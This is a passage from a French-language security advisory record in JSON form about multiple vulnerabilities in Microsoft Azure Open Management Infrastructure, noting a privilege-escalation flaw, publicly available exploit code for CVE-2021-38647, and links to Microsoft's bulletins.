CVE-2021-38649 :\u00a0Avec un score CVSSv3 \u00e0 7.0 et permettant \u00e0 un\n attaquant de pouvoir r\u00e9aliser une \u00e9l\u00e9vation de privil\u00e8ges\n\n\u003cdiv markdown=\"1\"\u003e\n\n\u00a0\n\n\u003cdiv markdown=\"1\"\u003e\n\n\u003cstrong\u003eDes codes d\u0027exploitation sont publiquement disponibles sur Internet\npour la CVE-2021-38647\u003c/strong\u003e, ce qui signifie que l\u2019exploitation de cette\nvuln\u00e9rabilit\u00e9 est imminente ou d\u00e9j\u00e0 en cours.\n\n\u003c/div\u003e\n\n\u003cdiv markdown=\"1\"\u003e\n\n\u003c/div\u003e\n\n\u003c/div\u003e\n",
"title": "[Maj] Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure Open Management Infrastructure",
"vendor_advisories": [
{
"published_at": "2021-09-16",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2021-38648",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648"
},
{
"published_at": "2021-09-16",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2021-38649",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649"
},
{
"published_at": "2021-09-16",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2021-38645",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645"
},
{
"published_at": "2021-09-16",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2021-38647",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647"
}
]
}